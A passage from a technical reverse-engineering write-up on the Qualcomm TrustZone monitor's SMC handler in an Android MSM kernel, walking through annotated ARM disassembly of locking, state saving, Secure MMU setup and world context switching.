"https://android.googlesource.com/kernel/msm/+/7b63736cd68dac64b889f18d3e9cfa037e12e076%5E%21/">
Dump the L1 and L2 caches on panic</a></td>
</tr>
<tr>
<td>0x404</td>
<td>SCM_SVC_BOOT</td>
<td>4</td>
<td>Dummy function, returns to Non-Secure world</td>
</tr>
<tr>
<td>0x1401</td>
<td>SCM_SVC_IO</td>
<td>SCM_IO_READ</td>
<td>Dummy function, returns to Non-Secure world</td>
</tr>
<tr>
<td>0x1402</td>
<td>SCM_SVC_IO</td>
<td>SCM_IO_WRITE</td>
<td>Dummy function, returns to Non-Secure world</td>
</tr>
<tr>
<td>0x3404</td>
<td>SCM_SVC_DCVS</td>
<td>DCVS_CMD_EVENT</td>
<td><a href=
"https://android.googlesource.com/kernel/msm/+/f53ef1b26b1a06255648e7db5db395d9439af483%5E%21/">
Handle some Dynamic Clock and Voltage Scaling (DCVS)</a> See
also <a href=
"https://android.googlesource.com/kernel/msm/+/android-msm-hammerhead-3.4-kitkat-mr2/arch/arm/mach-msm/include/mach/msm_dcvs_scm.h">event
definitions</a></td>
</tr>
<tr>
<td>0x1403</td>
<td>SCM_SVC_IO</td>
<td>TZ_RESET_ID</td>
<td>Related to GPU power management</td>
</tr>
<tr>
<td>0x1404</td>
<td>SCM_SVC_IO</td>
<td>TZ_UPDATE_ID</td>
<td>Related to GPU power management</td>
</tr>
<tr>
<td>0x2401</td>
<td>SCM_SVC_PWR</td>
<td>SCM_IO_DISABLE_PMIC_ARBITER</td>
<td><a href=
"https://android.googlesource.com/kernel/msm/+/android-msm-hammerhead-3.4-kitkat-mr2/arch/arm/mach-msm/restart.c">
"Force the SPMI PMIC arbiter to shutdown so that no more SPMI
transactions are sent from the MSM to the PMIC."</a></td>
</tr>
</tbody>
</table>
All these functions have the same epilogue:</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D738</span> <span class="no">MOV</span> <span class="no">R3</span><span class="p">,</span> <span class="c1">#SCR_NS OR SCR_FIQ OR SCR_AW ; 0b100101</span>
<span class="nl">LOAD:</span><span class="nf">FE80D73C</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R3</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; write SCR : switch to Non-Secure state</span>
<span class="nl">LOAD:</span><span class="nf">FE80D740</span> <span class="no">ISB</span> <span class="no">SY</span>
<span class="nl">LOAD:</span><span class="nf">FE80D744</span> <span class="no">MOV</span> <span class="no">R3</span><span class="p">,</span> <span class="c1">#0 ; clear R3 to avoid leak</span>
<span class="nl">LOAD:</span><span class="nf">FE80D748</span> <span class="no">MOVS</span> <span class="no">PC</span><span class="p">,</span> <span class="no">LR</span> <span class="c1">; restore Non-Secure PC & CPSR from LR_mon & SPSR_mon</span>
</pre></div>
<p>These instructions switch the processor to Non-Secure state and
restore PC & CPSR to perform an exception return.<br>
<br>
So SMC calls associated with these specific command/service IDs are
kind of "Monitor calls", entirely handled in Monitor mode.</p>
<p>But if R0 value does not match these IDs, the execution continues
in Monitor mode.</p>
<h5>IV.3.A.c TrustZone lock</h5>
<p>If the call has not been handled yet, Monitor code tries to acquire
a lock to ensure that only one core at a time enters in
TrustZone.</p>
<p>First, current CPU id is retrieved from MPIDR. Then, this value is
incremented (because 0 means not locked) and used as lock
value.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D0E0</span> <span class="no">LDR</span> <span class="no">R1</span><span class="p">,</span> <span class="err">=</span><span class="no">tz_lock</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0E4</span> <span class="no">MRC</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R2</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">5</span> <span class="c1">; read MPIDR register</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0E8</span> <span class="no">AND</span> <span class="no">R2</span><span class="p">,</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#0xFF ; extract Aff0 from MPIDR</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0EC</span> <span class="no">ADD</span> <span class="no">R2</span><span class="p">,</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#1</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0F0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0F0</span> <span class="no">loc_FE80D0F0</span> <span class="c1">; CODE XREF: smc_handler+D8j</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0F0</span> <span class="no">LDREX</span> <span class="no">R0</span><span class="p">,</span> <span class="p">[</span><span class="no">R1</span><span class="p">]</span> <span class="c1">; read current tz_lock value</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0F4</span> <span class="no">CMP</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0 ; test if TrustZone is locked</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0F8</span> <span class="no">STREXEQ</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R2</span><span class="p">,</span> <span class="p">[</span><span class="no">R1</span><span class="p">]</span> <span class="c1">; if not locked, try to lock TrustZone</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0FC</span> <span class="no">CMPEQ</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0 ; test if TrustZone is now locked</span>
<span class="nl">LOAD:</span><span class="nf">FE80D100</span> <span class="no">BNE</span> <span class="no">loc_FE80D0F0</span> <span class="c1">; retry if TrustZone is still not locked</span>
<span class="nl">LOAD:</span><span class="nf">FE80D104</span> <span class="no">DMB</span> <span class="no">SY</span> <span class="c1">; Data Memory Barrier acts as a memory barrier</span>
</pre></div>
<p>Then, it tries to acquire the TrustZone lock. This implementation
is very similar to the example provided in <a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0406c/index.html">
ARM Ref.</a> (D7.3.1 Acquiring a lock).</p>
<p>It relies on synchronization primitives (LDREX/STREX) to support
exclusive accesses to memory shared between cores.
Once the lock is acquired, the current core is the only one running
in TrustZone, and the execution can continue.</p>
<h5>IV.3.A.d Pre-exception status</h5>
<p>LR_mon and SPSR_mon are both banked registers. Their values are
generated by the exception entry. LR_mon contains the return
address in Non-Secure world (right after the SMC instruction). The
purpose of SPSR_mon is to record the pre-exception value of the
CPSR.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D108</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="err">=</span><span class="no">NS_core_status</span> <span class="c1">; secure area to store Non-Secure (NS) status</span>
<span class="nl">LOAD:</span><span class="nf">FE80D10C</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="no">LR</span> <span class="c1">; read NS return address (LR_mon)</span>
<span class="nl">LOAD:</span><span class="nf">FE80D110</span> <span class="no">MRS</span> <span class="no">R2</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read NS CPSR (SPSR_mon)</span>
<span class="nl">LOAD:</span><span class="nf">FE80D114</span> <span class="no">STMIA</span> <span class="no">R0</span><span class="p">,</span> <span class="err">{</span><span class="no">R1</span><span class="p">,</span><span class="no">R2</span><span class="err">}</span> <span class="c1">; write LR_mon & SPSR_mon</span>
</pre></div>
<p>These two registers are saved in Secure memory to be restored later on exception return.</p>
<h5>IV.3.A.e IRQ interruption flag</h5>
<p>Then a DWORD at a static address is unconditionally cleared:</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D118</span> <span class="no">LDR</span> <span class="no">R1</span><span class="p">,</span> <span class="err">=</span><span class="no">tz_irq_interrupted</span>
<span class="nl">LOAD:</span><span class="nf">FE80D11C</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D120</span> <span class="no">STR</span> <span class="no">R0</span><span class="p">,</span> <span class="p">[</span><span class="no">R1</span><span class="p">]</span> <span class="c1">; clear tz_irq_interrupted value</span>
</pre></div>
<p>By looking at cross-references, we notice this DWORD is set to 1 in
the IRQ handler of Monitor mode. But in both handlers (SMC & IRQ),
when an exception returns to the Non-Secure world, the returned
value (in R0) is set to 1 if this DWORD is not null.</p>
<p>Futhermore, we can have a look at how <a href=
"https://android.googlesource.com/kernel/msm/+/android-msm-hammerhead-3.4-kitkat-mr2/arch/arm/mach-msm/scm.c">
SCM</a> interprets the value returned by a SMC call:</p>
<div class="highlight"><pre><span></span><span class="cp">#define SCM_INTERRUPTED 1</span>
<span class="k">do</span> <span class="p">{</span>
<span class="k">asm</span> <span class="k">volatile</span><span class="p">(</span>
<span class="n">__asmeq</span><span class="p">(</span><span class="s">"%0"</span><span class="p">,</span> <span class="s">"r0"</span><span class="p">)</span>
<span class="n">__asmeq</span><span class="p">(</span><span class="s">"%1"</span><span class="p">,</span> <span class="s">"r0"</span><span class="p">)</span>
<span class="n">__asmeq</span><span class="p">(</span><span class="s">"%2"</span><span class="p">,</span> <span class="s">"r1"</span><span class="p">)</span>
<span class="n">__asmeq</span><span class="p">(</span><span class="s">"%3"</span><span class="p">,</span> <span class="s">"r2"</span><span class="p">)</span>
<span class="cp">#ifdef REQUIRES_SEC</span>
<span class="s">".arch_extension sec</span><span class="se">\n</span><span class="s">"</span>
<span class="cp">#endif</span>
<span class="s">"smc #0 @ switch to secure world</span><span class="se">\n</span><span class="s">"</span>
<span class="o">:</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">r0</span><span class="p">)</span>
<span class="o">:</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">r0</span><span class="p">),</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">r1</span><span class="p">),</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">r2</span><span class="p">)</span>
<span class="o">:</span> <span class="s">"r3"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">r0</span> <span class="o">==</span> <span class="n">SCM_INTERRUPTED</span><span class="p">);</span>
</pre></div>
<p>SCM will reiterate each SMC call while the returned value is 1.</p>
<p>We can deduce that this DWORD indicates if the exception return is
due to an IRQ interrupt. TrustZone Whitepaper (<a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.prd29-genc-009492c/CACCDCDH.html">3.3.3
Secure interrupts</a>) says ARM recommends the use of IRQ as a
Normal world interrupt source. That's why IRQ interrupts are
handled in the Normal world.</p>
<h5>IV.3.A.f Configure Secure world MMU</h5>
<p>Next block of instructions modifies the translation table of Secure
MMU (<a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0406c/index.html">ARM
Ref.</a> B3.1 About the VMSA) if two conditions are met:</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D124</span> <span class="no">MRC</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">5</span> <span class="c1">; read MPIDR register</span>
<span class="nl">LOAD:</span><span class="nf">FE80D128</span> <span class="no">AND</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0xFF ; extract Aff0 from MPIDR</span>
<span class="nl">LOAD:</span><span class="nf">FE80D12C</span> <span class="no">CMP</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D130</span> <span class="no">BNE</span> <span class="no">loc_FE80D164</span> <span class="c1">; jump if current core != CPU0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D134</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="err">=</span><span class="no">tz_ext_elf_loaded</span> <span class="c1">; read external ELF status</span>
<span class="nl">LOAD:</span><span class="nf">FE80D138</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="p">[</span><span class="no">R0</span><span class="p">]</span>
<span class="nl">LOAD:</span><span class="nf">FE80D13C</span> <span class="no">CMP</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D140</span> <span class="no">BEQ</span> <span class="no">loc_FE80D164</span> <span class="c1">; jump if no external ELF loaded</span>
<span class="nl">LOAD:</span><span class="nf">FE80D144</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="err">=</span><span class="no">tz_ext_elf_ttbr0</span> <span class="c1">; read TTBR0 ptr for external ELF</span>
<span class="nl">LOAD:</span><span class="nf">FE80D148</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="p">[</span><span class="no">R0</span><span class="p">]</span>
<span class="nl">LOAD:</span><span class="nf">FE80D14C</span> <span class="no">DSB</span> <span class="no">SY</span>
<span class="nl">LOAD:</span><span class="nf">FE80D150</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c2</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; write new TTBR0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D154</span> <span class="no">ISB</span> <span class="no">SY</span>
<span class="nl">LOAD:</span><span class="nf">FE80D158</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c8</span><span class="p">,</span><span class="no">c7</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; flush TLBs</span>
<span class="nl">LOAD:</span><span class="nf">FE80D15C</span> <span class="no">DSB</span> <span class="no">SY</span>
<span class="nl">LOAD:</span><span class="nf">FE80D160</span> <span class="no">ISB</span> <span class="no">SY</span>
</pre></div>
<p>First, it checks if the current core is CPU0.</p>
<p>Then, it checks if a DWORD is not null. By looking at
cross-references, we notice that this DWORD is modified in SCM
handler of QSEOS_LOAD_EXTERNAL_ELF_COMMAND call (not part of the
Monitor code). This SCM call is made by qseecom_load_external_elf()
function in the <a href=
"https://android.googlesource.com/kernel/msm/+/android-msm-hammerhead-3.4-kitkat-mr2/drivers/misc/qseecom.c">QSEECOM
Linux driver</a>. This function allows the HLOS to load an external
ELF binary into the Secure World. We can remark that this function
first ensures to run on CPU0.</p>
<div class="highlight"><pre><span></span><span class="k">static</span> <span class="kt">int</span> <span class="nf">qseecom_load_external_elf</span><span class="p">(</span><span class="k">struct</span> <span class="n">qseecom_dev_handle</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">argp</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">[...]</span>
<span class="cm">/* SCM_CALL tied to Core0 */</span>
<span class="n">mask</span> <span class="o">=</span> <span class="n">CPU_MASK_CPU0</span><span class="p">;</span>
<span class="n">set_cpu_ret</span> <span class="o">=</span> <span class="n">set_cpus_allowed_ptr</span><span class="p">(</span><span class="n">current</span><span class="p">,</span> <span class="o">&</span><span class="n">mask</span><span class="p">);</span>
<span class="p">[...]</span>
</pre></div>
<p>You can also refer to TrustZone Whitepaper to learn more about
"<a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.prd29-genc-009492c/ch05s04s01.html">Secure
World processor affinity</a>" on multiprocessor systems.</p>
<p>Finally, if those checks are successful, the Translation Table Base
Register 0 (TTBR0) is modified, and data & instruction TLBs are
both flushed. TTBR0 holds the physical address of the first-level
translation table used by the Secure MMU to perform table
translation walks.</p>
<p>This block of instructions will configure the MMU to create a
dedicated address space in the Secure World if an external ELF is
loaded on CPU0.</p>
<h5>IV.3.A.g Context switching</h5>
<p>Before switching to Secure World, Normal World context is saved
into Secure memory (<a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.prd29-genc-009492c/ch05s03s01.html">TrustZone
Whitepaper, 5.3.1 Context switching</a>). It includes :<br>
<ul>
<li>General purpose registers (R0-R12)</li>
<li>Banked registers SPSR, SP and LR of each mode IRQ, SVC, ABT,
UND.</li>
<li>Banked registers SPSR, R8, R9, R10, R11, R12, SP and LR of FIQ
mode.</li>
</ul></p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D168</span> <span class="no">MOV</span> <span class="no">LR</span><span class="p">,</span> <span class="no">SP</span> <span class="c1">; save Monitor stack address</span>
<span class="nl">LOAD:</span><span class="nf">FE80D16C</span> <span class="no">LDR</span> <span class="no">SP</span><span class="p">,</span> <span class="err">=</span><span class="no">NS_core_context</span> <span class="c1">; secure area to store Non-Secure context</span>
<span class="nl">LOAD:</span><span class="nf">FE80D170</span> <span class="no">STMFD</span> <span class="no">SP</span><span class="p">,</span> <span class="err">{</span><span class="no">R0-LR</span><span class="err">}^</span>
<span class="nl">LOAD:</span><span class="nf">FE80D174</span> <span class="no">MOV</span> <span class="no">R4</span><span class="p">,</span> <span class="no">SP</span>
<span class="nl">LOAD:</span><span class="nf">FE80D178</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_IRQ ; switch to IRQ mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D17C</span> <span class="no">MRS</span> <span class="no">R12</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_irq</span>
<span class="nl">LOAD:</span><span class="nf">FE80D180</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D184</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_SVC ; switch to Supervisor mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D188</span> <span class="no">MRS</span> <span class="no">R12</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_svc</span>
<span class="nl">LOAD:</span><span class="nf">FE80D18C</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D190</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_ABT ; switch to Abort mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D194</span> <span class="no">MRS</span> <span class="no">R12</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_abt</span>
<span class="nl">LOAD:</span><span class="nf">FE80D198</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D19C</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_UND ; switch to Undefined mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1A0</span> <span class="no">MRS</span> <span class="no">R12</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_und</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1A4</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1A8</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_FIQ ; switch to FIQ mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1AC</span> <span class="no">MRS</span> <span class="no">R7</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_fiq</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1B0</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">,</span> <span class="err">{</span><span class="no">R7-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1B4</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_MON ; switch back to Monitor mode</span>
</pre></div>
<p>Because the current security state is Secure (SCR.NS == 0), CPS
instructions can be used to switch to each mode before finally
switching back to Monitor mode. MRS instruction reads a Special
Register (like SPSR) and writes it to a general purpose register.</p>
<p>Later, this saved context will be restored when the processor
switches back to the Normal World.</p>
<p>Then, Secure World context is restored from a previous context
switch (Secure to Normal World).</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D1B8</span> <span class="no">LDR</span> <span class="no">SP</span><span class="p">,</span> <span class="err">=</span><span class="no">S_core_context</span> <span class="c1">; secure area where previous Secure context is stored</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1BC</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="no">SP</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1C0</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_IRQ ; switch to IRQ mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1C4</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1C8</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R12</span> <span class="c1">; write SPSR_irq</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1CC</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_SVC ; switch to Supervisor mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1D0</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1D4</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R12</span> <span class="c1">; write SPSR_svc</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1D8</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_ABT ; switch to Abort mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1DC</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1E0</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R12</span> <span class="c1">; write SPSR_abt</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1E4</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_UND ; switch to Undefined mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1E8</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1EC</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R12</span> <span class="c1">; write SPSR_und</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1F0</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_FIQ ; switch to FIQ mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1F4</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">,</span> <span class="err">{</span><span class="no">R7-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1F8</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R7</span> <span class="c1">; write SPSR_fiq</span>
<span class="nl">LOAD:</span><span class="nf">FE80D1FC</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_MON ; switch back to Monitor mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D200</span> <span class="no">LDMEA</span> <span class="no">SP</span><span class="p">,</span> <span class="err">{</span><span class="no">R0-LR</span><span class="err">}^</span>
</pre></div>
<h5>IV.3.A.f Exception return to Secure world</h5>
<p>Finally, the Monitor stack address is restored, and a Return From
Exception (RFE) instruction loads the LR and the CPSR of
interrupted Secure World from a specific address in Secure
memory.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D204</span> <span class="no">MOV</span> <span class="no">SP</span><span class="p">,</span> <span class="no">LR</span> <span class="c1">; restore Monitor stack address</span>
<span class="nl">LOAD:</span><span class="nf">FE80D208</span> <span class="no">LDR</span> <span class="no">LR</span><span class="p">,</span> <span class="err">=</span><span class="no">S_core_status</span> <span class="c1">; ptr to previously-saved Secure LR & CPSR</span>
<span class="nl">LOAD:</span><span class="nf">FE80D20C</span> <span class="no">RFEIA</span> <span class="no">LR</span> <span class="c1">; Return From Exception to Secure World</span>
</pre></div>
<h3>IV.3.B Return to Non-Secure World</h3>
<p>In the case where SCR.NS is not set, the Secure world returns
results to calling function in Non-Secure world.</p>
<p>A lot of operations here are similar to those previously described
in the "Call to Secure World" section.</p>
<h5>IV.3.B.a Pre-exception status</h5>
<p>First, LR_mon & SPSR_mon registers are saved in Secure memory to be
restored next time the TrustZone is entered. LR_mon contains the
return address in Secure world (right after the SMC instruction).
The purpose of SPSR_mon is to record the pre-exception value of the
CPSR.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D210</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="err">=</span><span class="no">S_core_status</span> <span class="c1">; secure area to store Secure status</span>
<span class="nl">LOAD:</span><span class="nf">FE80D214</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="no">LR</span> <span class="c1">; read Secure return address (LR_mon)</span>
<span class="nl">LOAD:</span><span class="nf">FE80D218</span> <span class="no">MRS</span> <span class="no">R2</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read Secure CPSR (SPSR_mon)</span>
<span class="nl">LOAD:</span><span class="nf">FE80D21C</span> <span class="no">STMIA</span> <span class="no">R0</span><span class="p">,</span> <span class="err">{</span><span class="no">R1</span><span class="p">,</span><span class="no">R2</span><span class="err">}</span> <span class="c1">; write LR_mon & SPSR_mon</span>
</pre></div>
<h5>IV.3.B.b Context switching</h5>
<p>Then, the Secure World context is saved, and the Normal World
context is restored from a previous context switch (Normal to
Secure World).</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D224</span> <span class="no">MOV</span> <span class="no">LR</span><span class="p">,</span> <span class="no">SP</span> <span class="c1">; save Monitor stack address</span>
<span class="nl">LOAD:</span><span class="nf">FE80D228</span> <span class="no">LDR</span> <span class="no">SP</span><span class="p">,</span> <span class="err">=</span><span class="no">S_core_context</span> <span class="c1">; secure area to store Secure context</span>
<span class="nl">LOAD:</span><span class="nf">FE80D22C</span> <span class="no">STMFD</span> <span class="no">SP</span><span class="p">,</span> <span class="err">{</span><span class="no">R0-LR</span><span class="err">}^</span>
<span class="nl">LOAD:</span><span class="nf">FE80D230</span> <span class="no">MOV</span> <span class="no">R4</span><span class="p">,</span> <span class="no">SP</span>
<span class="nl">LOAD:</span><span class="nf">FE80D234</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_IRQ ; switch to IRQ mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D238</span> <span class="no">MRS</span> <span class="no">R12</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_irq</span>
<span class="nl">LOAD:</span><span class="nf">FE80D23C</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D240</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_SVC ; switch to Supervisor mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D244</span> <span class="no">MRS</span> <span class="no">R12</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_svc</span>
<span class="nl">LOAD:</span><span class="nf">FE80D248</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D24C</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_ABT ; switch to Abort mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D250</span> <span class="no">MRS</span> <span class="no">R12</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_abt</span>
<span class="nl">LOAD:</span><span class="nf">FE80D254</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D258</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_UND ; switch to Undefined mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D25C</span> <span class="no">MRS</span> <span class="no">R12</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_und</span>
<span class="nl">LOAD:</span><span class="nf">FE80D260</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D264</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_FIQ ; switch to FIQ mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D268</span> <span class="no">MRS</span> <span class="no">R7</span><span class="p">,</span> <span class="no">SPSR</span> <span class="c1">; read SPSR_fiq</span>
<span class="nl">LOAD:</span><span class="nf">FE80D26C</span> <span class="no">STMIA</span> <span class="no">R4</span><span class="p">,</span> <span class="err">{</span><span class="no">R7-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D270</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_MON ; switch back to Monitor mode</span>
